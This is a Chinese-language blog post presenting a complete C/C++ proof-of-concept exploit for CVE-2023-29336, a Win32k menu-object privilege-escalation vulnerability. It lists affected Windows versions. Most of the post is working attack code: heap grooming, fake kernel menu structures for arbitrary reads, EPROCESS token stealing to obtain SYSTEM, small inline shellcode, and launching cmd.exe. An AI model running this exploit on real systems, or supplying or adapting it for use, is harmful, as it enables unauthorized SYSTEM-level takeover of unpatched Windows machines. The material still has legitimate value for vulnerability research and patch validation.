CVE-2023-29336 Win32k 特权提升漏洞 PoC

 

 

Win32k 子系统(Win32k.sys内核驱动程序)管理操作系统的窗口管理器、屏幕输出、输入和图形,并作为各类输入硬件之间的接口。

  • CVE-2023-29336 Win32k内核驱动程序中存在权限提升漏洞,由于Win32k中只专注于锁定窗口对象,无意中忽略了锁定嵌套在窗口对象中的菜单对象,可以通过更改系统内存中的特定地址来控制菜单对象,以获得与启动它的程序相同级别的访问权限,并通过其它操作实现将权限提升为SYSTEM。

影响范围 

  • Windows Server 2012 R2 (Server Core installation)
  • Windows Server 2012 R2
  • Windows Server 2012 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 for x64-based Systems Service Pack 2
  • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 for 32-bit Systems Service Pack 2
  • Windows Server 2016 (Server Core installation)
  • Windows Server 2016
  • Windows 10 Version 1607 for x64-based Systems
  • Windows 10 Version 1607 for 32-bit Systems
  • Windows 10 for x64-based Systems
  • Windows 10 for 32-bit Systems

 代码样本


// Rainbow 【www.chwm.vip】

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

#define IDM_MYMENU 101
#define IDM_EXIT 102
#define IDM_DISABLE 0xf120
#define IDM_ENABLE 104
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8

typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT uIDEnableItem, UINT uEnable);
typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2, unsigned __int64 a3, unsigned int a4);
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID, int nConsoleInformationLength);

NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
int syytem();

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    BOOL  bExploited;
    BYTE  pfnWindProc[1];
} SHELLCODE, * PSHELLCODE;

struct tagMENU
{
    ULONG64 field_0;
    ULONG64 field_8;
    ULONG64 field_10;
    ULONG64 field_18;
    ULONG64 field_20;
    PVOID obj28;
    DWORD field_30;
    DWORD flag1;
    DWORD flag2;
    DWORD cxMenu;
    DWORD cyMenu;
    ULONG64 field_48;
    PVOID rgItems;
    ULONG64 field_58; // + 0x58
    ULONG64 field_60;
    ULONG64 field_68;
    ULONG64 field_70;
    ULONG64 field_78;
    ULONG64 field_80;
    ULONG64 field_88;
    ULONG64 field_90;
    PVOID ref; // + 0x98
};

struct MyData
{
    BYTE name[0x96];
};

tagMENU* g_pFakeMenu = 0;
static PSHELLCODE pvShellCode = NULL;
HMENU hSystemMenu;
HMENU hMenu;
HMENU hSubMenu;
HMENU hAddedSubMenu;
HMENU hMenuB;
PVOID MENU_add = 0;
DWORD flag = 0;
UINT iWindowCount = 0x100;
HWND HWND_list[0x300];
HWND HWND_list1[0x20];
HMENU HMENUL_list[0x300];
int Hwnd_num = 0;
int Hwnd_num1 = 0;
ULONGLONG HWND_add = 0;
ULONGLONG GS_off = 0;
WORD max = 0;

static PULONGLONG     ptagWNDFake = NULL;
static PULONGLONG     ptagWNDFake1 = NULL;
static PULONGLONG     ptagWNDFake2 = NULL;
static PULONGLONG     GS_hanlde = NULL;
static PULONGLONG     HWND_class = NULL;

struct ThreadParams {
    int threadId;
    int numLoops;
};

static unsigned long long GetGsValue(unsigned long long gsValue)
{
    return gsValue;
}

PVOID GetMenuHandle(HMENU menu_D)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    add = (PBYTE)(par1 + 0x18 * reinterpret_cast<ULONG_PTR>(menu_D));

    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
    return *(PVOID*)HANDLE;
}

PVOID xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    ULONGLONG temp = 0; // Change the data type to ULONGLONG
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    temp = (ULONGLONG)menu_D >> 16;
    add = (PBYTE)(par1 + 0x18 * static_cast<ULONGLONG>(reinterpret_cast<ULONGLONG>(menu_D) & 0xFFFF));
    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
    return *(PVOID*)HANDLE;
}

static VOID xxReallocPopupMenu(VOID)
{
    for (INT i = 0; i < 0x8; i++)
    {
        WNDCLASSEXW Class = { 0 };
        WCHAR       szTemp[0x100] = { 0 };
        HWND        hwnd = NULL;
        wsprintfW(szTemp, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }
}

VOID createclass(VOID)
{
    WCHAR   szTemp[0x100] = { 0 };
    for (INT i = 9; i < 29; i++)
    {
        WNDCLASSEXW Class = { 0 };

        HWND        hwnd = NULL;
        wsprintfW(szTemp, L"A@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0x20;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        Class.cbClsExtra = 0x1a0;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

    for (INT i = 9; i < 29; i++)
    {
        wsprintfW(szTemp, L"A@A%d", i);
        HWND_list1[i] = CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, NULL, NULL);


    }

}

ULONG64 Read64(ULONG64 address)
{
    MENUBARINFO mbi = { 0 };
    mbi.cbSize = sizeof(MENUBARINFO);

    g_pFakeMenu->rgItems = PVOID(address - 0x48);
    GetMenuBarInfo(HWND_list[max + 1], OBJID_MENU, 1, &mbi);

    return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);
}

void exploit()
{
    ULONG64 randomVariable1 = 0;
    HWND_class = (PULONGLONG)((PBYTE)0x303000);
    HWND_class[12] = 0x100;
    HWND_class[20] = 0x303010;

    for (int loopIndex = 0; loopIndex < 0x20; loopIndex++)
    {
        ULONG64 pmenu = SetClassLongPtr(HWND_list1[loopIndex], 0x270, (LONG_PTR)g_pFakeMenu);
        if (pmenu != 0)
        {
            randomVariable1 = loopIndex;
            MENUBARINFO mbi = { 0 };
            mbi.cbSize = sizeof(MENUBARINFO);
        }
    }

    ULONG64 randomVariable2 = Read64(HWND_add + 0x250 + 0x10); // USER_THREADINFO
    randomVariable2 = Read64(randomVariable2);            // THREADINFO
    randomVariable2 = Read64(randomVariable2 + 0x220);         // (PROCESSINFO)

    ULONG64 eprocess = randomVariable2;
    printf("Current EPROCESS = %llx\n", eprocess);
    randomVariable2 = Read64(randomVariable2 + 0x2f0);

    do
    {
        randomVariable2 = Read64(randomVariable2 + 0x08);
        ULONG64 randomVariable3 = Read64(randomVariable2 - 0x08);
        if (randomVariable3 == 4)
        {
            ULONG64 pSystemToken = Read64(randomVariable2 + 0x68);
            printf("pSys/tem Token = %llx \n", pSystemToken);

            HWND_class[8] = eprocess + 0x290;

            ULONG64 randomVariable4 = SetClassLongPtr(HWND_list1[randomVariable1], 0x250 + 0x98 - 0xa0, (LONG_PTR)HWND_class);
            SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);
            randomVariable4 = SetClassLongPtr(HWND_list1[randomVariable1], 0x250 + 0x98 - 0xa0, (LONG_PTR)randomVariable4);

            break;
        }
    } while (randomVariable2 != eprocess);

    // Invoke the madness
    syytem();
}

void buildmem()
{
    WORD max_handle = 0;
    pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pvShellCode == NULL)
    {
        return;
    }
    ZeroMemory(pvShellCode, 0x10000);

    ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);
    ptagWNDFake[0] = (ULONGLONG)0x304140;
    ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;
    ptagWNDFake[6] = (ULONGLONG)0x304140;
    ptagWNDFake[8] = 0x305300;
    ptagWNDFake[11] = (ULONGLONG)MENU_add;
    ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;
    ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;
    ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;
    ptagWNDFake[71] = (ULONGLONG)0x000004;

    ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);
    ptagWNDFake1[1] = (ULONGLONG)0x11;
    ptagWNDFake1[2] = (ULONGLONG)0x305320;
    ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;
    ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;
    ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;
    ptagWNDFake1[14] = (ULONGLONG)0x306500;
    ptagWNDFake1[16] = (ULONGLONG)305400;

    ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);
    ptagWNDFake1[11] = (ULONGLONG)0x306600;

    WNDCLASSEX WndClass = { 0 };
    WndClass.cbSize = sizeof(WNDCLASSEX);
    WndClass.lpfnWndProc = DefWindowProc;
    WndClass.style = CS_VREDRAW | CS_HREDRAW;
    WndClass.cbWndExtra = 0xe0;
    WndClass.hInstance = NULL;
    WndClass.lpszMenuName = NULL;
    WndClass.lpszClassName = L"NormalClass";

    RegisterClassEx(&WndClass);

    for (int i = 0; i < 0x200; i++)
    {
        HMENUL_list[i] = CreateMenu();
    }

    for (int i = 0; i < 0x100; i++)
    {
        HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);

    }
    for (int i = 0; i < 0x100; i++)
    {
        SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);
        SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);
    }

    for (int i = 0x20; i < 0x60; i++)
    {
        if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) - (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1], 0x01) == 0x250)
        {
            if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 + 1], 0x01) - (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) == 0x250)
            {
                HWND_add = (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01);
                max = i * 2;
                break;
            }
        }

        if (i == 0x5f)
        {
            HWND_add = 0;
        }
    }

    ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;

    DestroyWindow(HWND_list[max]);

    createclass();

    // Create a fake spmenu
    PVOID hHeap = (PVOID)0x302000;

    g_pFakeMenu = (tagMENU*)(PVOID)0x302000;
    g_pFakeMenu->ref = (PVOID)0x302300;
    *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
    // cItems = 1
    g_pFakeMenu->obj28 = (PVOID)0x302200;
    *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
    // rgItems
    g_pFakeMenu->rgItems = (PVOID)0x304000;
    // cx / cy must > 0
    g_pFakeMenu->flag1 = 1;
    g_pFakeMenu->flag2 = 1;
    g_pFakeMenu->cxMenu = 1;
    g_pFakeMenu->cyMenu = 1;
}

int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    ULONGLONG gsValue = 0;
    unsigned char shellcode[] = "\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3";

    LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (executableMemory == NULL) {
        return 1;
    }
    memcpy(executableMemory, shellcode, sizeof(shellcode));

    gsValue = ((ULONGLONG(*)())executableMemory)();
    gsValue = gsValue + 0x800;
    GS_hanlde = (PULONGLONG)(PBYTE)gsValue;
    GS_off = GS_hanlde[5];

    char str[0xb8] = "";
    memset(str, 0x41, 0xa8);
    g_NtUserEnableMenuItem = (NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserEnableMenuItem");
    g_NtUserSetClassLongPtr = (NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserSetClassLongPtr");
    g_NtUserCreateAcceleratorTable = (NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserCreateAcceleratorTable");
    g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

    WNDCLASS wc = { 0 };

    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = TEXT("EnableMenuItem");

    RegisterClass(&wc);

    HWND hWnd = CreateWindow(
        wc.lpszClassName,
        TEXT("EnableMenuItem"),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        400, 300,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    if (!hWnd) return FALSE;

    hSystemMenu = GetSystemMenu(hWnd, FALSE);

    hSubMenu = CreatePopupMenu();
    MENU_add = GetMenuHandle(hSubMenu);
    hMenuB = CreateMenu();

    buildmem();
    if (HWND_add == 0)
    {
        return 0;
    }

    AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0"));
    AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1"));

    DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);

    AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A");

    AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B");

    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);

    flag = 1;
    g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);

    exploit();

    MSG msg = { 0 };

    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return (int)msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    case 0xae:
        switch (wParam)
        {
        case 0x1000:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }
        case 0x1001:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }

            return 0;
        }
        break;
    }
    return DefWindowProc(hWnd, message, wParam, lParam);
}

int syytem()
{
    SECURITY_ATTRIBUTES     sa;
    HANDLE                  hRead, hWrite;
    byte                    buf[40960] = { 0 };
    STARTUPINFOW            si;
    PROCESS_INFORMATION     pi;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        return -3;
    }
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = const_cast<LPWSTR>(L"WinSta0\\Default");
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    wchar_t cmd[4096] = { L"cmd.exe" };

    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
    {
        CloseHandle(hWrite);
        CloseHandle(hRead);
        printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
        return -2;
    }
    CloseHandle(hWrite);

    printf("[+] website:www.chwm.vip\n");

    return 0;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Rainbow Technology

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值